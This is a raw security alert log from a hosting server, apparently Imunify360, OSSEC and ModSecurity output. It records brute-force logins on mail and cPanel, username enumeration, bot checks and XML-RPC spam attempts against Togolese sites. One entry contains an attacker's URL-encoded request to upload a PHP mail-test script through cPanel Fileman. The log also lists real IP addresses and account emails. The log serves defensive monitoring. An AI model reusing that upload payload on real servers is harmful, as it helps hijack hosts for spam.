2026-06-17 12:19:28 dovecot_plain authenticator failed for H=ip174-73-63-192.mc.at.cox.net (qxzu0r39lyrvey54yzmup4jopezlt9rp) [174.73.63.192]:57470: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.170.62.18
country_id: 2363686
description:
196.170.62.18 - - [17/Jun/2026:12:20:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7326871&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D1871&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781698824 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=1871" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.170.62.18


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:12:20:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10340505&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781698833 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:20:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934021&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781698835 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.65.38.234
country_id: 1269750
description:
Jun 17 12:21:26 ns5 auth[1130641]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.65.38.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.65.38.234
country_id: 1269750
description:
2026-06-17 12:21:28 dovecot_login authenticator failed for H=([38.159.121.65]) [182.65.38.234]:33399: 535 Incorrect authentication data (set_id=kmjeanne@cafe.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 47.250.138.208
country_id: 1733045
description:
Jun 17 12:23:45 ns5 pure-ftpd[1920010]: (?@47.250.138.208) [INFO] New connection from 47.250.138.208


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.184.167.68
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/877f7e HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:12:26:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739932&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781699163 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:26:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6580885&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781699163 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.172.195.16
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:hausse-des-prix-du-petrole-et-du-gaz-le-conseil-des-ministres-evalue-les-risques-pour-leconomie-togolaise/||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:12:26:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6578377&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781699162 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.241.87
country_id: 2750405
description:
2026-06-17 12:26:33 dovecot_login authenticator failed for H=(sZZh3LN) [91.92.241.87]:55944: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:26:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:26:27 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.241.87
country_id: 2750405
description:
Jun 17 12:26:31 ns5 auth[1130641]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.241.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.58.124
country_id: 2363686
description:
[2026-06-17 12:27:43 +0000] info [webmaild] 196.171.58.124 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.171.133.76] != Current IP Address [196.171.58.124]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-17 12:29:05 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 34.42.34.237
country_id: 6252001
domain: status.cloud-et-racks.tg
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-17 12:29:04 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77093094
abuser: 34.42.34.237
country_id: 6252001
domain: status.cloud-et-racks.tg
description:


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.156.219
country_id: 1819730
description:
[2026-06-17 12:29:43 +0000] info [cpaneld] 104.28.156.219 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [17/Jun/2026:12:31:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051926&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781699508 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.246.2.238
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/2107064407 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.122.153.188
country_id: 294640
description:
[2026-06-17 12:34:06 +0000] info [cpaneld] 37.122.153.188 - ariana "GET /login/?login_only=1&user=ariana&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ariana (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.53.155.148
country_id: 3932488
description:
[2026-06-17 12:34:16 +0000] info [cpaneld] 177.53.155.148 - arian "GET /login/?login_only=1&user=arian&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arian (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.236.118.91
country_id: 285570
description:
[2026-06-17 12:34:20 +0000] info [cpaneld] 188.236.118.91 - ari "GET /login/?login_only=1&user=ari&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ari (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.182.198.24
country_id: 3469034
description:
[2026-06-17 12:34:07 +0000] info [cpaneld] 201.182.198.24 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.173.20.70
country_id: 1562822
description:
[2026-06-17 12:34:09 +0000] info [cpaneld] 14.173.20.70 - arianatg "GET /login/?login_only=1&user=arianatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arianatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.70.10.150
country_id: 3865483
description:
[2026-06-17 12:34:19 +0000] info [cpaneld] 45.70.10.150 - aria "GET /login/?login_only=1&user=aria&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aria (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.137.84.138
country_id: 3469034
description:
[2026-06-17 12:34:10 +0000] info [cpaneld] 143.137.84.138 - ariana "GET /login/?login_only=1&user=ariana&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ariana (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.113.12.11
country_id: 1210997
description:
[2026-06-17 12:34:13 +0000] info [cpaneld] 103.113.12.11 - arianatg "GET /login/?login_only=1&user=arianatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arianatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.152.55.35
country_id: 3595528
description:
[2026-06-17 12:34:14 +0000] info [cpaneld] 24.152.55.35 - arian "GET /login/?login_only=1&user=arian&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arian (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.73.11.251
country_id: 1733045
description:
[2026-06-17 12:34:17 +0000] info [cpaneld] 180.73.11.251 - aria "GET /login/?login_only=1&user=aria&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aria (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.66.169.191
country_id: 3017382
description:
[2026-06-17 12:34:21 +0000] info [cpaneld] 37.66.169.191 - ari "GET /login/?login_only=1&user=ari&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ari (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 90.105.236.39
country_id: 3017382
description:
[2026-06-17 12:34:22 +0000] info [cpaneld] 90.105.236.39 - ar "GET /login/?login_only=1&user=ar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.170.110.72
country_id: 3996063
description:
[2026-06-17 12:34:26 +0000] info [cpaneld] 201.170.110.72 - ar "GET /login/?login_only=1&user=ar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.86.226
country_id: 2921044
description:
[2026-06-17 12:34:49 +0000] info [cpaneld] 217.181.86.226 - ulduzncs "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:35:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13213125&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781699757 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.174.115.1
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-03-at-11.52.13.webp 1080w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-03-at-11.52.13-300x200.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-03-at-11.52.13-1024x683.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/04/WhatsApp-Image-2026-04-03-at-11.52.13-768x512.webp 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 167.250.105.129
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/c69bdd61-dc3f-494d-b0d2-ff8e19f7501e-1024x768-1-768x576.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/c69bdd61-dc3f-494d-b0d2-ff8e19f7501e-1024x768-1-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/c69bdd61-dc3f-494d-b0d2-ff8e19f7501e-1024x768-1.webp 1024w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.1.78.106
country_id: 1227603
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/05/FB_IMG_1747823023021.webp 1080w, http:/togodailynews.tg/wp-content/uploads/2025/05/FB_IMG_1747823023021-300x300.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/05/FB_IMG_1747823023021-1024x1024.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2025/05/FB_IMG_1747823023021-150x150.webp 150w, http:/togodailynews.tg/wp-content/uploads/2025/05/FB_IMG_1747823023021-768x768.webp 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 160.238.109.252
country_id: 3469034
domain: group-gci.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:37256.group-gci.com||ServerName:group-gci.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:99a396e47f4669872b6825611b24efe23f7fbf73||Title:0x1b034dae||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.249.160.70
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/439924833 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:39:02 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:39:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:39:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12871573&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781699950 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:12:39:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6472296&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781699951 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:12:39:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972060&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781699964 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.217.137
country_id: 2287781
description:
2026-06-17 12:39:53 dovecot_login authenticator failed for H=(ELISABETH) [102.209.217.137]:9990: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [17/Jun/2026:12:39:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9593711&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781699982 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.217.137
country_id: 2287781
description:
2026-06-17 12:41:36 dovecot_login authenticator failed for H=(ELISABETH) [102.209.217.137]:12674: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: besteva1.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.217.137
country_id: 2287781
description:
2026-06-17 12:42:36 dovecot_login authenticator failed for H=(ELISABETH) [102.209.217.137]:12675: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2.32.201.121
country_id: 3175395
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:573e8d1efddc65a35131f410b87f613d6ca6897f||Title:gkg7wq0jw77onxkmm||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2.32.201.121
country_id: 3175395
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e24776807d71568603ab0bd641760fd386ec6e77||Title:cyzp04mu5g69wvnvuh||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.116.242.211
country_id: 1269750
description:
[2026-06-17 12:43:43 +0000] info [cpaneld] 66.116.242.211 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2.32.201.121
country_id: 3175395
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:efba543b539c1b506dda033350717577668ce46c||Title:nql81ltrwj7ygwre79||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.83.127.12
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/02/Ngozi-Okonjo-Iwela-600x400.jpg 600w, http:/togodailynews.tg/wp-content/uploads/2021/02/Ngozi-Okonjo-Iwela-600x400-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/02/Ngozi-Okonjo-Iwela-600x400-272x182.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.41.197
country_id: 3469034
domain: belali.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/belali.tg:80/wp-login.php HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 2.32.201.121
country_id: 3175395
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4947b34e8c8c6174cbf98e7f88346cc0f3ee7419||Title:8nhbud9vss8xqznlex||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>l\xe2\x80\x99acc\xc3\xa8s aux soins de sant\xc3\xa9 maternelle et n\xc3\xa9onatale franchit une nouvelle \xc3\xa9tape, au togo, gr\xc3\xa2ce aux technologies m\xc3\xa9dicales avanc\xc3\xa9es. en fin de semaine derni\xc3\xa8re, les formations sanitaires d\xe2\x80\x99assahoun, d\xe2\x80\x99agou et de kamina ont \xc3\xa9t\xc3\xa9 officiellement dot\xc3\xa9es d\xe2\x80\x99\xc3\xa9quipements de t\xc3\xa9l\xc3\xa9-\xc3\xa9chographie.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ce d\xc3\xa9ploiement technologique vise \xc3\xa0 transformer le quotidien des femmes enceintes, par l\xe2\x80\x99am\xc3\xa9lioration significative du suivi des grossesses, la prise en charge m\xc3\xa9dicale des patientes, et renforcer la lutte contre la mortalit\xc3\xa9 maternelle et n\xc3\xa9onatale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette initiative est mise en \xc5\x93uvre dans le cadre du projet d\xe2\x80\x99autonomisation des femmes et du dividende d\xc3\xa9mographique en afrique subsaharienne (swedd ). l'objectif principal est de rapprocher les services m\xc3\xa9dicaux sp\xc3\xa9cialis\xc3\xa9s des populations rurales ou p\xc3\xa9riurbaines, souvent \xc3\xa9loign\xc3\xa9es des grands centres hospitaliers du pays.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"width\":\"486px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" 